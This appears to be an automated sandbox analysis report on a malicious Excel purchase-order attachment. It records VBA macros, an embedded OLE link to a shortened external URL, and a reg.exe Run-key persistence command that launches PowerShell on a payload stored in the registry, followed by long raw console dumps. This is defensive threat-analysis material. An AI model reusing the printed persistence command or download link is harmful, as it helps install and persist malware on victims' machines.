Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_004498E0 35_2_004498E0
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0044A886 35_2_0044A886
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0043DA09 35_2_0043DA09
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00438D5E 35_2_00438D5E
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00449ED0 35_2_00449ED0
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0041FE83 35_2_0041FE83
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00430F54 35_2_00430F54
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_004050C2 36_2_004050C2
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_004014AB 36_2_004014AB
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00405133 36_2_00405133
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_004051A4 36_2_004051A4
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00401246 36_2_00401246
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_0040CA46 36_2_0040CA46
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00405235 36_2_00405235
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_004032C8 36_2_004032C8
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_004222D9 36_2_004222D9
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00401689 36_2_00401689
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00402F60 36_2_00402F60
Document contains embedded VBA macros
Source: PO 11001 .xls OLE indicator, VBA macros: true
Document embeds suspicious OLE2 link
Source: PO 11001 .xls Stream path 'MBD0001A431/\x1Ole' : https://og1.in/2Rxzb3y }'8koQD;Qi8_$=m>Lw|:KeDbzI%';dcfl`Hm)1@IMWb[X}hbd`KXZyK1JCrkMa1QsPD709cjaECVc5S9rr4O7xnndbEAP26WuKgDX5ISzgeCCUMyeqEDv17UOqDjuLrhhb25VA1ufgTBFc54gCSOf0Ta98rtRMmeFVCKbBx7JdudpjmJWsQxub2tZ2ZWRPUDnPkHFgRMp8pKlacM9xYL5HA20RUHAvmG6AuX12rnmIhTlvyE3ptVeGQp7QZzsucXDoTU9NqjwNksd5Si0H59obXupLBLg51Akg4s=CNW%3p+6DYNj
Source: 54230000.0.dr Stream path 'MBD0001A431/\x1Ole' : https://og1.in/2Rxzb3y }'8koQD;Qi8_$=m>Lw|:KeDbzI%';dcfl`Hm)1@IMWb[X}hbd`KXZyK1JCrkMa1QsPD709cjaECVc5S9rr4O7xnndbEAP26WuKgDX5ISzgeCCUMyeqEDv17UOqDjuLrhhb25VA1ufgTBFc54gCSOf0Ta98rtRMmeFVCKbBx7JdudpjmJWsQxub2tZ2ZWRPUDnPkHFgRMp8pKlacM9xYL5HA20RUHAvmG6AuX12rnmIhTlvyE3ptVeGQp7QZzsucXDoTU9NqjwNksd5Si0H59obXupLBLg51Akg4s=CNW%3p+6DYNj
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: String function: 0040624C appears 34 times
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: String function: 00402C37 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: String function: 004169A7 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: String function: 0044DB70 appears 41 times
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: String function: 004165FF appears 35 times
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: String function: 00422297 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: String function: 00444B5A appears 37 times
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: String function: 00413025 appears 79 times
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: String function: 00416760 appears 69 times
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Uses reg.exe to modify the Windows registry
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
Source: classification engine Classification label: mal100.phis.troj.spyw.expl.evad.winXLS@72/66@4/5
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,free, 34_2_004182CE
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 11_2_0040333D
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 23_2_0040333D
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 33_2_0040333D
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle, 36_2_00410DE1
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_0040483D getwchar,GetDiskFreeSpaceW,MulDiv, 11_2_0040483D
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00413D4C CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,CloseHandle,free,Process32NextW,CloseHandle, 34_2_00413D4C
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_004020FE CoCreateInstance, 11_2_004020FE
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0040B58D GetModuleHandleW,FindResourceW,LoadResource,SizeofResource,LockResource,memcpy, 34_2_0040B58D
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\54230000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Mutant created: \Sessions\1\BaseNamedObjects\Rmc-DSGECX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR87C5.tmp Jump to behavior
Source: PO 11001 .xls OLE indicator, Workbook stream: true
Source: 54230000.0.dr OLE indicator, Workbook stream: true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................P................B.......B.....}..w.............................1......(.P..............3...................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm................%.....p.Vk....}..w............\.......................(.P.....................X.%............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................................}..w............X,u.......Vk....X.t.....(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm................%.....p.Vk....}..w............\.......................(.P.....................X.%............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................................}..w............X,u.......Vk....X.t.....(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.......%.....N....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.X,u.......Vk....X.t.....(.P.......................%..... ....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................................}..w............X,u.......Vk....X.t.....(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~...................%.....@....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................................}..w............X,u.......Vk....X.t.....(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....%.....N....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................................}..w............X,u.......Vk....X.t.....(.P.............................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ ...............}..w............X,u.......Vk....X.t.....(.P.......................%............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................0........WA.....}..w....X.%.....@E......^...............(.P.......................%............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................WA.....}..w....X.%.....@E......^...............(.P.......................%............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......T........U.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......T........U.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........U.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......T........U.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......T........V.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......T........V.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............-V.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............:V.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......T.......OV.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............\V.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............pV.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............~V.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$................V.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................V.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................V.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................V.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........V.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................V.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................V.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................W.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................W.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............)W.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............;W.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............GW.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............YW.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......T.......fW.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$.......T.......{W.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......T........W.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......8Y.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......DY.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......VY.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......bY.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......tY.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Y.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Y.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Y.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$.......8........Y.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Y.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Z.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......!Z.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.......3Z.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......?Z.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......QZ.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......]Z.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......oZ.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......{Z.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Z.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Z.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Z.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Z.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$.......8........Z.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Z.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Z.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........Z.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........[.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........[.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........[.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......<[.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......N[.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......Z[.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......l[.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8.......x[.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........[.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........[.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$.......8........[.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......8........[.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................\.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................\.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............'\.........................s....................~.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............3\.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........G\.........................s.................... .......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............S\.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............f\.........................s....................R.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............r\.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................\.........................s....................R.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................\.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................\.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................\.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................\.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................\.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$................\.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................\.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................].........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................].........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........].........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......<].........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......N].........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......Z].........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......l].........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t.......x].........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........].........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........].........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........].........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........].........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$.......t........].........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$.......t........].........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................].........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................].........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........^.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................^.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................^.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............:^.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............L^.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............X^.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............j^.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$...............v^.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................^.........................s....................`.......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................^.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............$................^.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................^.........................s............................8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................^.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................^.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3........^.........................s....................".......8............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............$................^.........................s............................8............... Jump to behavior
